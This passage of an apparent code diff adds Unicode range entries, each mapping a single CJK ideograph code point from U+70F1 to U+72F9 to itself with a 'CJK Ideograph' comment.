+ ["\u70F1", "\u70F1"], /* CJK Ideograph */
+ ["\u70F2", "\u70F2"], /* CJK Ideograph */
+ ["\u70F3", "\u70F3"], /* CJK Ideograph */
+ ["\u70F4", "\u70F4"], /* CJK Ideograph */
+ ["\u70F5", "\u70F5"], /* CJK Ideograph */
+ ["\u70F6", "\u70F6"], /* CJK Ideograph */
+ ["\u70F7", "\u70F7"], /* CJK Ideograph */
+ ["\u70F8", "\u70F8"], /* CJK Ideograph */
+ ["\u70F9", "\u70F9"], /* CJK Ideograph */
+ ["\u70FA", "\u70FA"], /* CJK Ideograph */
+ ["\u70FB", "\u70FB"], /* CJK Ideograph */
+ ["\u70FC", "\u70FC"], /* CJK Ideograph */
+ ["\u70FD", "\u70FD"], /* CJK Ideograph */
+ ["\u70FE", "\u70FE"], /* CJK Ideograph */
+ ["\u70FF", "\u70FF"], /* CJK Ideograph */
+ ["\u7100", "\u7100"], /* CJK Ideograph */
+ ["\u7101", "\u7101"], /* CJK Ideograph */
+ ["\u7102", "\u7102"], /* CJK Ideograph */
+ ["\u7103", "\u7103"], /* CJK Ideograph */
+ ["\u7104", "\u7104"], /* CJK Ideograph */
+ ["\u7105", "\u7105"], /* CJK Ideograph */
+ ["\u7106", "\u7106"], /* CJK Ideograph */
+ ["\u7107", "\u7107"], /* CJK Ideograph */
+ ["\u7108", "\u7108"], /* CJK Ideograph */
+ ["\u7109", "\u7109"], /* CJK Ideograph */
+ ["\u710A", "\u710A"], /* CJK Ideograph */
+ ["\u710B", "\u710B"], /* CJK Ideograph */
+ ["\u710C", "\u710C"], /* CJK Ideograph */
+ ["\u710D", "\u710D"], /* CJK Ideograph */
+ ["\u710E", "\u710E"], /* CJK Ideograph */
+ ["\u710F", "\u710F"], /* CJK Ideograph */
+ ["\u7110", "\u7110"], /* CJK Ideograph */
+ ["\u7111", "\u7111"], /* CJK Ideograph */
+ ["\u7112", "\u7112"], /* CJK Ideograph */
+ ["\u7113", "\u7113"], /* CJK Ideograph */
+ ["\u7114", "\u7114"], /* CJK Ideograph */
+ ["\u7115", "\u7115"], /* CJK Ideograph */
+ ["\u7116", "\u7116"], /* CJK Ideograph */
+ ["\u7117", "\u7117"], /* CJK Ideograph */
+ ["\u7118", "\u7118"], /* CJK Ideograph */
+ ["\u7119", "\u7119"], /* CJK Ideograph */
+ ["\u711A", "\u711A"], /* CJK Ideograph */
+ ["\u711B", "\u711B"], /* CJK Ideograph */
+ ["\u711C", "\u711C"], /* CJK Ideograph */
+ ["\u711D", "\u711D"], /* CJK Ideograph */
+ ["\u711E", "\u711E"], /* CJK Ideograph */
+ ["\u711F", "\u711F"], /* CJK Ideograph */
+ ["\u7120", "\u7120"], /* CJK Ideograph */
+ ["\u7121", "\u7121"], /* CJK Ideograph */
+ ["\u7122", "\u7122"], /* CJK Ideograph */
+ ["\u7123", "\u7123"], /* CJK Ideograph */
+ ["\u7124", "\u7124"], /* CJK Ideograph */
+ ["\u7125", "\u7125"], /* CJK Ideograph */
+ ["\u7126", "\u7126"], /* CJK Ideograph */
+ ["\u7127", "\u7127"], /* CJK Ideograph */
+ ["\u7128", "\u7128"], /* CJK Ideograph */
+ ["\u7129", "\u7129"], /* CJK Ideograph */
+ ["\u712A", "\u712A"], /* CJK Ideograph */
+ ["\u712B", "\u712B"], /* CJK Ideograph */
+ ["\u712C", "\u712C"], /* CJK Ideograph */
+ ["\u712D", "\u712D"], /* CJK Ideograph */
+ ["\u712E", "\u712E"], /* CJK Ideograph */
+ ["\u712F", "\u712F"], /* CJK Ideograph */
+ ["\u7130", "\u7130"], /* CJK Ideograph */
+ ["\u7131", "\u7131"], /* CJK Ideograph */
+ ["\u7132", "\u7132"], /* CJK Ideograph */
+ ["\u7133", "\u7133"], /* CJK Ideograph */
+ ["\u7134", "\u7134"], /* CJK Ideograph */
+ ["\u7135", "\u7135"], /* CJK Ideograph */
+ ["\u7136", "\u7136"], /* CJK Ideograph */
+ ["\u7137", "\u7137"], /* CJK Ideograph */
+ ["\u7138", "\u7138"], /* CJK Ideograph */
+ ["\u7139", "\u7139"], /* CJK Ideograph */
+ ["\u713A", "\u713A"], /* CJK Ideograph */
+ ["\u713B", "\u713B"], /* CJK Ideograph */
+ ["\u713C", "\u713C"], /* CJK Ideograph */
+ ["\u713D", "\u713D"], /* CJK Ideograph */
+ ["\u713E", "\u713E"], /* CJK Ideograph */
+ ["\u713F", "\u713F"], /* CJK Ideograph */
+ ["\u7140", "\u7140"], /* CJK Ideograph */
+ ["\u7141", "\u7141"], /* CJK Ideograph */
+ ["\u7142", "\u7142"], /* CJK Ideograph */
+ ["\u7143", "\u7143"], /* CJK Ideograph */
+ ["\u7144", "\u7144"], /* CJK Ideograph */
+ ["\u7145", "\u7145"], /* CJK Ideograph */
+ ["\u7146", "\u7146"], /* CJK Ideograph */
+ ["\u7147", "\u7147"], /* CJK Ideograph */
+ ["\u7148", "\u7148"], /* CJK Ideograph */
+ ["\u7149", "\u7149"], /* CJK Ideograph */
+ ["\u714A", "\u714A"], /* CJK Ideograph */
+ ["\u714B", "\u714B"], /* CJK Ideograph */
+ ["\u714C", "\u714C"], /* CJK Ideograph */
+ ["\u714D", "\u714D"], /* CJK Ideograph */
+ ["\u714E", "\u714E"], /* CJK Ideograph */
+ ["\u714F", "\u714F"], /* CJK Ideograph */
+ ["\u7150", "\u7150"], /* CJK Ideograph */
+ ["\u7151", "\u7151"], /* CJK Ideograph */
+ ["\u7152", "\u7152"], /* CJK Ideograph */
+ ["\u7153", "\u7153"], /* CJK Ideograph */
+ ["\u7154", "\u7154"], /* CJK Ideograph */
+ ["\u7155", "\u7155"], /* CJK Ideograph */
+ ["\u7156", "\u7156"], /* CJK Ideograph */
+ ["\u7157", "\u7157"], /* CJK Ideograph */
+ ["\u7158", "\u7158"], /* CJK Ideograph */
+ ["\u7159", "\u7159"], /* CJK Ideograph */
+ ["\u715A", "\u715A"], /* CJK Ideograph */
+ ["\u715B", "\u715B"], /* CJK Ideograph */
+ ["\u715C", "\u715C"], /* CJK Ideograph */
+ ["\u715D", "\u715D"], /* CJK Ideograph */
+ ["\u715E", "\u715E"], /* CJK Ideograph */
+ ["\u715F", "\u715F"], /* CJK Ideograph */
+ ["\u7160", "\u7160"], /* CJK Ideograph */
+ ["\u7161", "\u7161"], /* CJK Ideograph */
+ ["\u7162", "\u7162"], /* CJK Ideograph */
+ ["\u7163", "\u7163"], /* CJK Ideograph */
+ ["\u7164", "\u7164"], /* CJK Ideograph */
+ ["\u7165", "\u7165"], /* CJK Ideograph */
+ ["\u7166", "\u7166"], /* CJK Ideograph */
+ ["\u7167", "\u7167"], /* CJK Ideograph */
+ ["\u7168", "\u7168"], /* CJK Ideograph */
+ ["\u7169", "\u7169"], /* CJK Ideograph */
+ ["\u716A", "\u716A"], /* CJK Ideograph */
+ ["\u716B", "\u716B"], /* CJK Ideograph */
+ ["\u716C", "\u716C"], /* CJK Ideograph */
+ ["\u716D", "\u716D"], /* CJK Ideograph */
+ ["\u716E", "\u716E"], /* CJK Ideograph */
+ ["\u716F", "\u716F"], /* CJK Ideograph */
+ ["\u7170", "\u7170"], /* CJK Ideograph */
+ ["\u7171", "\u7171"], /* CJK Ideograph */
+ ["\u7172", "\u7172"], /* CJK Ideograph */
+ ["\u7173", "\u7173"], /* CJK Ideograph */
+ ["\u7174", "\u7174"], /* CJK Ideograph */
+ ["\u7175", "\u7175"], /* CJK Ideograph */
+ ["\u7176", "\u7176"], /* CJK Ideograph */
+ ["\u7177", "\u7177"], /* CJK Ideograph */
+ ["\u7178", "\u7178"], /* CJK Ideograph */
+ ["\u7179", "\u7179"], /* CJK Ideograph */
+ ["\u717A", "\u717A"], /* CJK Ideograph */
+ ["\u717B", "\u717B"], /* CJK Ideograph */
+ ["\u717C", "\u717C"], /* CJK Ideograph */
+ ["\u717D", "\u717D"], /* CJK Ideograph */
+ ["\u717E", "\u717E"], /* CJK Ideograph */
+ ["\u717F", "\u717F"], /* CJK Ideograph */
+ ["\u7180", "\u7180"], /* CJK Ideograph */
+ ["\u7181", "\u7181"], /* CJK Ideograph */
+ ["\u7182", "\u7182"], /* CJK Ideograph */
+ ["\u7183", "\u7183"], /* CJK Ideograph */
+ ["\u7184", "\u7184"], /* CJK Ideograph */
+ ["\u7185", "\u7185"], /* CJK Ideograph */
+ ["\u7186", "\u7186"], /* CJK Ideograph */
+ ["\u7187", "\u7187"], /* CJK Ideograph */
+ ["\u7188", "\u7188"], /* CJK Ideograph */
+ ["\u7189", "\u7189"], /* CJK Ideograph */
+ ["\u718A", "\u718A"], /* CJK Ideograph */
+ ["\u718B", "\u718B"], /* CJK Ideograph */
+ ["\u718C", "\u718C"], /* CJK Ideograph */
+ ["\u718D", "\u718D"], /* CJK Ideograph */
+ ["\u718E", "\u718E"], /* CJK Ideograph */
+ ["\u718F", "\u718F"], /* CJK Ideograph */
+ ["\u7190", "\u7190"], /* CJK Ideograph */
+ ["\u7191", "\u7191"], /* CJK Ideograph */
+ ["\u7192", "\u7192"], /* CJK Ideograph */
+ ["\u7193", "\u7193"], /* CJK Ideograph */
+ ["\u7194", "\u7194"], /* CJK Ideograph */
+ ["\u7195", "\u7195"], /* CJK Ideograph */
+ ["\u7196", "\u7196"], /* CJK Ideograph */
+ ["\u7197", "\u7197"], /* CJK Ideograph */
+ ["\u7198", "\u7198"], /* CJK Ideograph */
+ ["\u7199", "\u7199"], /* CJK Ideograph */
+ ["\u719A", "\u719A"], /* CJK Ideograph */
+ ["\u719B", "\u719B"], /* CJK Ideograph */
+ ["\u719C", "\u719C"], /* CJK Ideograph */
+ ["\u719D", "\u719D"], /* CJK Ideograph */
+ ["\u719E", "\u719E"], /* CJK Ideograph */
+ ["\u719F", "\u719F"], /* CJK Ideograph */
+ ["\u71A0", "\u71A0"], /* CJK Ideograph */
+ ["\u71A1", "\u71A1"], /* CJK Ideograph */
+ ["\u71A2", "\u71A2"], /* CJK Ideograph */
+ ["\u71A3", "\u71A3"], /* CJK Ideograph */
+ ["\u71A4", "\u71A4"], /* CJK Ideograph */
+ ["\u71A5", "\u71A5"], /* CJK Ideograph */
+ ["\u71A6", "\u71A6"], /* CJK Ideograph */
+ ["\u71A7", "\u71A7"], /* CJK Ideograph */
+ ["\u71A8", "\u71A8"], /* CJK Ideograph */
+ ["\u71A9", "\u71A9"], /* CJK Ideograph */
+ ["\u71AA", "\u71AA"], /* CJK Ideograph */
+ ["\u71AB", "\u71AB"], /* CJK Ideograph */
+ ["\u71AC", "\u71AC"], /* CJK Ideograph */
+ ["\u71AD", "\u71AD"], /* CJK Ideograph */
+ ["\u71AE", "\u71AE"], /* CJK Ideograph */
+ ["\u71AF", "\u71AF"], /* CJK Ideograph */
+ ["\u71B0", "\u71B0"], /* CJK Ideograph */
+ ["\u71B1", "\u71B1"], /* CJK Ideograph */
+ ["\u71B2", "\u71B2"], /* CJK Ideograph */
+ ["\u71B3", "\u71B3"], /* CJK Ideograph */
+ ["\u71B4", "\u71B4"], /* CJK Ideograph */
+ ["\u71B5", "\u71B5"], /* CJK Ideograph */
+ ["\u71B6", "\u71B6"], /* CJK Ideograph */
+ ["\u71B7", "\u71B7"], /* CJK Ideograph */
+ ["\u71B8", "\u71B8"], /* CJK Ideograph */
+ ["\u71B9", "\u71B9"], /* CJK Ideograph */
+ ["\u71BA", "\u71BA"], /* CJK Ideograph */
+ ["\u71BB", "\u71BB"], /* CJK Ideograph */
+ ["\u71BC", "\u71BC"], /* CJK Ideograph */
+ ["\u71BD", "\u71BD"], /* CJK Ideograph */
+ ["\u71BE", "\u71BE"], /* CJK Ideograph */
+ ["\u71BF", "\u71BF"], /* CJK Ideograph */
+ ["\u71C0", "\u71C0"], /* CJK Ideograph */
+ ["\u71C1", "\u71C1"], /* CJK Ideograph */
+ ["\u71C2", "\u71C2"], /* CJK Ideograph */
+ ["\u71C3", "\u71C3"], /* CJK Ideograph */
+ ["\u71C4", "\u71C4"], /* CJK Ideograph */
+ ["\u71C5", "\u71C5"], /* CJK Ideograph */
+ ["\u71C6", "\u71C6"], /* CJK Ideograph */
+ ["\u71C7", "\u71C7"], /* CJK Ideograph */
+ ["\u71C8", "\u71C8"], /* CJK Ideograph */
+ ["\u71C9", "\u71C9"], /* CJK Ideograph */
+ ["\u71CA", "\u71CA"], /* CJK Ideograph */
+ ["\u71CB", "\u71CB"], /* CJK Ideograph */
+ ["\u71CC", "\u71CC"], /* CJK Ideograph */
+ ["\u71CD", "\u71CD"], /* CJK Ideograph */
+ ["\u71CE", "\u71CE"], /* CJK Ideograph */
+ ["\u71CF", "\u71CF"], /* CJK Ideograph */
+ ["\u71D0", "\u71D0"], /* CJK Ideograph */
+ ["\u71D1", "\u71D1"], /* CJK Ideograph */
+ ["\u71D2", "\u71D2"], /* CJK Ideograph */
+ ["\u71D3", "\u71D3"], /* CJK Ideograph */
+ ["\u71D4", "\u71D4"], /* CJK Ideograph */
+ ["\u71D5", "\u71D5"], /* CJK Ideograph */
+ ["\u71D6", "\u71D6"], /* CJK Ideograph */
+ ["\u71D7", "\u71D7"], /* CJK Ideograph */
+ ["\u71D8", "\u71D8"], /* CJK Ideograph */
+ ["\u71D9", "\u71D9"], /* CJK Ideograph */
+ ["\u71DA", "\u71DA"], /* CJK Ideograph */
+ ["\u71DB", "\u71DB"], /* CJK Ideograph */
+ ["\u71DC", "\u71DC"], /* CJK Ideograph */
+ ["\u71DD", "\u71DD"], /* CJK Ideograph */
+ ["\u71DE", "\u71DE"], /* CJK Ideograph */
+ ["\u71DF", "\u71DF"], /* CJK Ideograph */
+ ["\u71E0", "\u71E0"], /* CJK Ideograph */
+ ["\u71E1", "\u71E1"], /* CJK Ideograph */
+ ["\u71E2", "\u71E2"], /* CJK Ideograph */
+ ["\u71E3", "\u71E3"], /* CJK Ideograph */
+ ["\u71E4", "\u71E4"], /* CJK Ideograph */
+ ["\u71E5", "\u71E5"], /* CJK Ideograph */
+ ["\u71E6", "\u71E6"], /* CJK Ideograph */
+ ["\u71E7", "\u71E7"], /* CJK Ideograph */
+ ["\u71E8", "\u71E8"], /* CJK Ideograph */
+ ["\u71E9", "\u71E9"], /* CJK Ideograph */
+ ["\u71EA", "\u71EA"], /* CJK Ideograph */
+ ["\u71EB", "\u71EB"], /* CJK Ideograph */
+ ["\u71EC", "\u71EC"], /* CJK Ideograph */
+ ["\u71ED", "\u71ED"], /* CJK Ideograph */
+ ["\u71EE", "\u71EE"], /* CJK Ideograph */
+ ["\u71EF", "\u71EF"], /* CJK Ideograph */
+ ["\u71F0", "\u71F0"], /* CJK Ideograph */
+ ["\u71F1", "\u71F1"], /* CJK Ideograph */
+ ["\u71F2", "\u71F2"], /* CJK Ideograph */
+ ["\u71F3", "\u71F3"], /* CJK Ideograph */
+ ["\u71F4", "\u71F4"], /* CJK Ideograph */
+ ["\u71F5", "\u71F5"], /* CJK Ideograph */
+ ["\u71F6", "\u71F6"], /* CJK Ideograph */
+ ["\u71F7", "\u71F7"], /* CJK Ideograph */
+ ["\u71F8", "\u71F8"], /* CJK Ideograph */
+ ["\u71F9", "\u71F9"], /* CJK Ideograph */
+ ["\u71FA", "\u71FA"], /* CJK Ideograph */
+ ["\u71FB", "\u71FB"], /* CJK Ideograph */
+ ["\u71FC", "\u71FC"], /* CJK Ideograph */
+ ["\u71FD", "\u71FD"], /* CJK Ideograph */
+ ["\u71FE", "\u71FE"], /* CJK Ideograph */
+ ["\u71FF", "\u71FF"], /* CJK Ideograph */
+ ["\u7200", "\u7200"], /* CJK Ideograph */
+ ["\u7201", "\u7201"], /* CJK Ideograph */
+ ["\u7202", "\u7202"], /* CJK Ideograph */
+ ["\u7203", "\u7203"], /* CJK Ideograph */
+ ["\u7204", "\u7204"], /* CJK Ideograph */
+ ["\u7205", "\u7205"], /* CJK Ideograph */
+ ["\u7206", "\u7206"], /* CJK Ideograph */
+ ["\u7207", "\u7207"], /* CJK Ideograph */
+ ["\u7208", "\u7208"], /* CJK Ideograph */
+ ["\u7209", "\u7209"], /* CJK Ideograph */
+ ["\u720A", "\u720A"], /* CJK Ideograph */
+ ["\u720B", "\u720B"], /* CJK Ideograph */
+ ["\u720C", "\u720C"], /* CJK Ideograph */
+ ["\u720D", "\u720D"], /* CJK Ideograph */
+ ["\u720E", "\u720E"], /* CJK Ideograph */
+ ["\u720F", "\u720F"], /* CJK Ideograph */
+ ["\u7210", "\u7210"], /* CJK Ideograph */
+ ["\u7211", "\u7211"], /* CJK Ideograph */
+ ["\u7212", "\u7212"], /* CJK Ideograph */
+ ["\u7213", "\u7213"], /* CJK Ideograph */
+ ["\u7214", "\u7214"], /* CJK Ideograph */
+ ["\u7215", "\u7215"], /* CJK Ideograph */
+ ["\u7216", "\u7216"], /* CJK Ideograph */
+ ["\u7217", "\u7217"], /* CJK Ideograph */
+ ["\u7218", "\u7218"], /* CJK Ideograph */
+ ["\u7219", "\u7219"], /* CJK Ideograph */
+ ["\u721A", "\u721A"], /* CJK Ideograph */
+ ["\u721B", "\u721B"], /* CJK Ideograph */
+ ["\u721C", "\u721C"], /* CJK Ideograph */
+ ["\u721D", "\u721D"], /* CJK Ideograph */
+ ["\u721E", "\u721E"], /* CJK Ideograph */
+ ["\u721F", "\u721F"], /* CJK Ideograph */
+ ["\u7220", "\u7220"], /* CJK Ideograph */
+ ["\u7221", "\u7221"], /* CJK Ideograph */
+ ["\u7222", "\u7222"], /* CJK Ideograph */
+ ["\u7223", "\u7223"], /* CJK Ideograph */
+ ["\u7224", "\u7224"], /* CJK Ideograph */
+ ["\u7225", "\u7225"], /* CJK Ideograph */
+ ["\u7226", "\u7226"], /* CJK Ideograph */
+ ["\u7227", "\u7227"], /* CJK Ideograph */
+ ["\u7228", "\u7228"], /* CJK Ideograph */
+ ["\u7229", "\u7229"], /* CJK Ideograph */
+ ["\u722A", "\u722A"], /* CJK Ideograph */
+ ["\u722B", "\u722B"], /* CJK Ideograph */
+ ["\u722C", "\u722C"], /* CJK Ideograph */
+ ["\u722D", "\u722D"], /* CJK Ideograph */
+ ["\u722E", "\u722E"], /* CJK Ideograph */
+ ["\u722F", "\u722F"], /* CJK Ideograph */
+ ["\u7230", "\u7230"], /* CJK Ideograph */
+ ["\u7231", "\u7231"], /* CJK Ideograph */
+ ["\u7232", "\u7232"], /* CJK Ideograph */
+ ["\u7233", "\u7233"], /* CJK Ideograph */
+ ["\u7234", "\u7234"], /* CJK Ideograph */
+ ["\u7235", "\u7235"], /* CJK Ideograph */
+ ["\u7236", "\u7236"], /* CJK Ideograph */
+ ["\u7237", "\u7237"], /* CJK Ideograph */
+ ["\u7238", "\u7238"], /* CJK Ideograph */
+ ["\u7239", "\u7239"], /* CJK Ideograph */
+ ["\u723A", "\u723A"], /* CJK Ideograph */
+ ["\u723B", "\u723B"], /* CJK Ideograph */
+ ["\u723C", "\u723C"], /* CJK Ideograph */
+ ["\u723D", "\u723D"], /* CJK Ideograph */
+ ["\u723E", "\u723E"], /* CJK Ideograph */
+ ["\u723F", "\u723F"], /* CJK Ideograph */
+ ["\u7240", "\u7240"], /* CJK Ideograph */
+ ["\u7241", "\u7241"], /* CJK Ideograph */
+ ["\u7242", "\u7242"], /* CJK Ideograph */
+ ["\u7243", "\u7243"], /* CJK Ideograph */
+ ["\u7244", "\u7244"], /* CJK Ideograph */
+ ["\u7245", "\u7245"], /* CJK Ideograph */
+ ["\u7246", "\u7246"], /* CJK Ideograph */
+ ["\u7247", "\u7247"], /* CJK Ideograph */
+ ["\u7248", "\u7248"], /* CJK Ideograph */
+ ["\u7249", "\u7249"], /* CJK Ideograph */
+ ["\u724A", "\u724A"], /* CJK Ideograph */
+ ["\u724B", "\u724B"], /* CJK Ideograph */
+ ["\u724C", "\u724C"], /* CJK Ideograph */
+ ["\u724D", "\u724D"], /* CJK Ideograph */
+ ["\u724E", "\u724E"], /* CJK Ideograph */
+ ["\u724F", "\u724F"], /* CJK Ideograph */
+ ["\u7250", "\u7250"], /* CJK Ideograph */
+ ["\u7251", "\u7251"], /* CJK Ideograph */
+ ["\u7252", "\u7252"], /* CJK Ideograph */
+ ["\u7253", "\u7253"], /* CJK Ideograph */
+ ["\u7254", "\u7254"], /* CJK Ideograph */
+ ["\u7255", "\u7255"], /* CJK Ideograph */
+ ["\u7256", "\u7256"], /* CJK Ideograph */
+ ["\u7257", "\u7257"], /* CJK Ideograph */
+ ["\u7258", "\u7258"], /* CJK Ideograph */
+ ["\u7259", "\u7259"], /* CJK Ideograph */
+ ["\u725A", "\u725A"], /* CJK Ideograph */
+ ["\u725B", "\u725B"], /* CJK Ideograph */
+ ["\u725C", "\u725C"], /* CJK Ideograph */
+ ["\u725D", "\u725D"], /* CJK Ideograph */
+ ["\u725E", "\u725E"], /* CJK Ideograph */
+ ["\u725F", "\u725F"], /* CJK Ideograph */
+ ["\u7260", "\u7260"], /* CJK Ideograph */
+ ["\u7261", "\u7261"], /* CJK Ideograph */
+ ["\u7262", "\u7262"], /* CJK Ideograph */
+ ["\u7263", "\u7263"], /* CJK Ideograph */
+ ["\u7264", "\u7264"], /* CJK Ideograph */
+ ["\u7265", "\u7265"], /* CJK Ideograph */
+ ["\u7266", "\u7266"], /* CJK Ideograph */
+ ["\u7267", "\u7267"], /* CJK Ideograph */
+ ["\u7268", "\u7268"], /* CJK Ideograph */
+ ["\u7269", "\u7269"], /* CJK Ideograph */
+ ["\u726A", "\u726A"], /* CJK Ideograph */
+ ["\u726B", "\u726B"], /* CJK Ideograph */
+ ["\u726C", "\u726C"], /* CJK Ideograph */
+ ["\u726D", "\u726D"], /* CJK Ideograph */
+ ["\u726E", "\u726E"], /* CJK Ideograph */
+ ["\u726F", "\u726F"], /* CJK Ideograph */
+ ["\u7270", "\u7270"], /* CJK Ideograph */
+ ["\u7271", "\u7271"], /* CJK Ideograph */
+ ["\u7272", "\u7272"], /* CJK Ideograph */
+ ["\u7273", "\u7273"], /* CJK Ideograph */
+ ["\u7274", "\u7274"], /* CJK Ideograph */
+ ["\u7275", "\u7275"], /* CJK Ideograph */
+ ["\u7276", "\u7276"], /* CJK Ideograph */
+ ["\u7277", "\u7277"], /* CJK Ideograph */
+ ["\u7278", "\u7278"], /* CJK Ideograph */
+ ["\u7279", "\u7279"], /* CJK Ideograph */
+ ["\u727A", "\u727A"], /* CJK Ideograph */
+ ["\u727B", "\u727B"], /* CJK Ideograph */
+ ["\u727C", "\u727C"], /* CJK Ideograph */
+ ["\u727D", "\u727D"], /* CJK Ideograph */
+ ["\u727E", "\u727E"], /* CJK Ideograph */
+ ["\u727F", "\u727F"], /* CJK Ideograph */
+ ["\u7280", "\u7280"], /* CJK Ideograph */
+ ["\u7281", "\u7281"], /* CJK Ideograph */
+ ["\u7282", "\u7282"], /* CJK Ideograph */
+ ["\u7283", "\u7283"], /* CJK Ideograph */
+ ["\u7284", "\u7284"], /* CJK Ideograph */
+ ["\u7285", "\u7285"], /* CJK Ideograph */
+ ["\u7286", "\u7286"], /* CJK Ideograph */
+ ["\u7287", "\u7287"], /* CJK Ideograph */
+ ["\u7288", "\u7288"], /* CJK Ideograph */
+ ["\u7289", "\u7289"], /* CJK Ideograph */
+ ["\u728A", "\u728A"], /* CJK Ideograph */
+ ["\u728B", "\u728B"], /* CJK Ideograph */
+ ["\u728C", "\u728C"], /* CJK Ideograph */
+ ["\u728D", "\u728D"], /* CJK Ideograph */
+ ["\u728E", "\u728E"], /* CJK Ideograph */
+ ["\u728F", "\u728F"], /* CJK Ideograph */
+ ["\u7290", "\u7290"], /* CJK Ideograph */
+ ["\u7291", "\u7291"], /* CJK Ideograph */
+ ["\u7292", "\u7292"], /* CJK Ideograph */
+ ["\u7293", "\u7293"], /* CJK Ideograph */
+ ["\u7294", "\u7294"], /* CJK Ideograph */
+ ["\u7295", "\u7295"], /* CJK Ideograph */
+ ["\u7296", "\u7296"], /* CJK Ideograph */
+ ["\u7297", "\u7297"], /* CJK Ideograph */
+ ["\u7298", "\u7298"], /* CJK Ideograph */
+ ["\u7299", "\u7299"], /* CJK Ideograph */
+ ["\u729A", "\u729A"], /* CJK Ideograph */
+ ["\u729B", "\u729B"], /* CJK Ideograph */
+ ["\u729C", "\u729C"], /* CJK Ideograph */
+ ["\u729D", "\u729D"], /* CJK Ideograph */
+ ["\u729E", "\u729E"], /* CJK Ideograph */
+ ["\u729F", "\u729F"], /* CJK Ideograph */
+ ["\u72A0", "\u72A0"], /* CJK Ideograph */
+ ["\u72A1", "\u72A1"], /* CJK Ideograph */
+ ["\u72A2", "\u72A2"], /* CJK Ideograph */
+ ["\u72A3", "\u72A3"], /* CJK Ideograph */
+ ["\u72A4", "\u72A4"], /* CJK Ideograph */
+ ["\u72A5", "\u72A5"], /* CJK Ideograph */
+ ["\u72A6", "\u72A6"], /* CJK Ideograph */
+ ["\u72A7", "\u72A7"], /* CJK Ideograph */
+ ["\u72A8", "\u72A8"], /* CJK Ideograph */
+ ["\u72A9", "\u72A9"], /* CJK Ideograph */
+ ["\u72AA", "\u72AA"], /* CJK Ideograph */
+ ["\u72AB", "\u72AB"], /* CJK Ideograph */
+ ["\u72AC", "\u72AC"], /* CJK Ideograph */
+ ["\u72AD", "\u72AD"], /* CJK Ideograph */
+ ["\u72AE", "\u72AE"], /* CJK Ideograph */
+ ["\u72AF", "\u72AF"], /* CJK Ideograph */
+ ["\u72B0", "\u72B0"], /* CJK Ideograph */
+ ["\u72B1", "\u72B1"], /* CJK Ideograph */
+ ["\u72B2", "\u72B2"], /* CJK Ideograph */
+ ["\u72B3", "\u72B3"], /* CJK Ideograph */
+ ["\u72B4", "\u72B4"], /* CJK Ideograph */
+ ["\u72B5", "\u72B5"], /* CJK Ideograph */
+ ["\u72B6", "\u72B6"], /* CJK Ideograph */
+ ["\u72B7", "\u72B7"], /* CJK Ideograph */
+ ["\u72B8", "\u72B8"], /* CJK Ideograph */
+ ["\u72B9", "\u72B9"], /* CJK Ideograph */
+ ["\u72BA", "\u72BA"], /* CJK Ideograph */
+ ["\u72BB", "\u72BB"], /* CJK Ideograph */
+ ["\u72BC", "\u72BC"], /* CJK Ideograph */
+ ["\u72BD", "\u72BD"], /* CJK Ideograph */
+ ["\u72BE", "\u72BE"], /* CJK Ideograph */
+ ["\u72BF", "\u72BF"], /* CJK Ideograph */
+ ["\u72C0", "\u72C0"], /* CJK Ideograph */
+ ["\u72C1", "\u72C1"], /* CJK Ideograph */
+ ["\u72C2", "\u72C2"], /* CJK Ideograph */
+ ["\u72C3", "\u72C3"], /* CJK Ideograph */
+ ["\u72C4", "\u72C4"], /* CJK Ideograph */
+ ["\u72C5", "\u72C5"], /* CJK Ideograph */
+ ["\u72C6", "\u72C6"], /* CJK Ideograph */
+ ["\u72C7", "\u72C7"], /* CJK Ideograph */
+ ["\u72C8", "\u72C8"], /* CJK Ideograph */
+ ["\u72C9", "\u72C9"], /* CJK Ideograph */
+ ["\u72CA", "\u72CA"], /* CJK Ideograph */
+ ["\u72CB", "\u72CB"], /* CJK Ideograph */
+ ["\u72CC", "\u72CC"], /* CJK Ideograph */
+ ["\u72CD", "\u72CD"], /* CJK Ideograph */
+ ["\u72CE", "\u72CE"], /* CJK Ideograph */
+ ["\u72CF", "\u72CF"], /* CJK Ideograph */
+ ["\u72D0", "\u72D0"], /* CJK Ideograph */
+ ["\u72D1", "\u72D1"], /* CJK Ideograph */
+ ["\u72D2", "\u72D2"], /* CJK Ideograph */
+ ["\u72D3", "\u72D3"], /* CJK Ideograph */
+ ["\u72D4", "\u72D4"], /* CJK Ideograph */
+ ["\u72D5", "\u72D5"], /* CJK Ideograph */
+ ["\u72D6", "\u72D6"], /* CJK Ideograph */
+ ["\u72D7", "\u72D7"], /* CJK Ideograph */
+ ["\u72D8", "\u72D8"], /* CJK Ideograph */
+ ["\u72D9", "\u72D9"], /* CJK Ideograph */
+ ["\u72DA", "\u72DA"], /* CJK Ideograph */
+ ["\u72DB", "\u72DB"], /* CJK Ideograph */
+ ["\u72DC", "\u72DC"], /* CJK Ideograph */
+ ["\u72DD", "\u72DD"], /* CJK Ideograph */
+ ["\u72DE", "\u72DE"], /* CJK Ideograph */
+ ["\u72DF", "\u72DF"], /* CJK Ideograph */
+ ["\u72E0", "\u72E0"], /* CJK Ideograph */
+ ["\u72E1", "\u72E1"], /* CJK Ideograph */
+ ["\u72E2", "\u72E2"], /* CJK Ideograph */
+ ["\u72E3", "\u72E3"], /* CJK Ideograph */
+ ["\u72E4", "\u72E4"], /* CJK Ideograph */
+ ["\u72E5", "\u72E5"], /* CJK Ideograph */
+ ["\u72E6", "\u72E6"], /* CJK Ideograph */
+ ["\u72E7", "\u72E7"], /* CJK Ideograph */
+ ["\u72E8", "\u72E8"], /* CJK Ideograph */
+ ["\u72E9", "\u72E9"], /* CJK Ideograph */
+ ["\u72EA", "\u72EA"], /* CJK Ideograph */
+ ["\u72EB", "\u72EB"], /* CJK Ideograph */
+ ["\u72EC", "\u72EC"], /* CJK Ideograph */
+ ["\u72ED", "\u72ED"], /* CJK Ideograph */
+ ["\u72EE", "\u72EE"], /* CJK Ideograph */
+ ["\u72EF", "\u72EF"], /* CJK Ideograph */
+ ["\u72F0", "\u72F0"], /* CJK Ideograph */
+ ["\u72F1", "\u72F1"], /* CJK Ideograph */
+ ["\u72F2", "\u72F2"], /* CJK Ideograph */
+ ["\u72F3", "\u72F3"], /* CJK Ideograph */
+ ["\u72F4", "\u72F4"], /* CJK Ideograph */
+ ["\u72F5", "\u72F5"], /* CJK Ideograph */
+ ["\u72F6", "\u72F6"], /* CJK Ideograph */
+ ["\u72F7", "\u72F7"], /* CJK Ideograph */
+ ["\u72F8", "\u72F8"], /* CJK Ideograph */
+ ["\u72F9", "\u72F9"], /* CJK Ideograph */
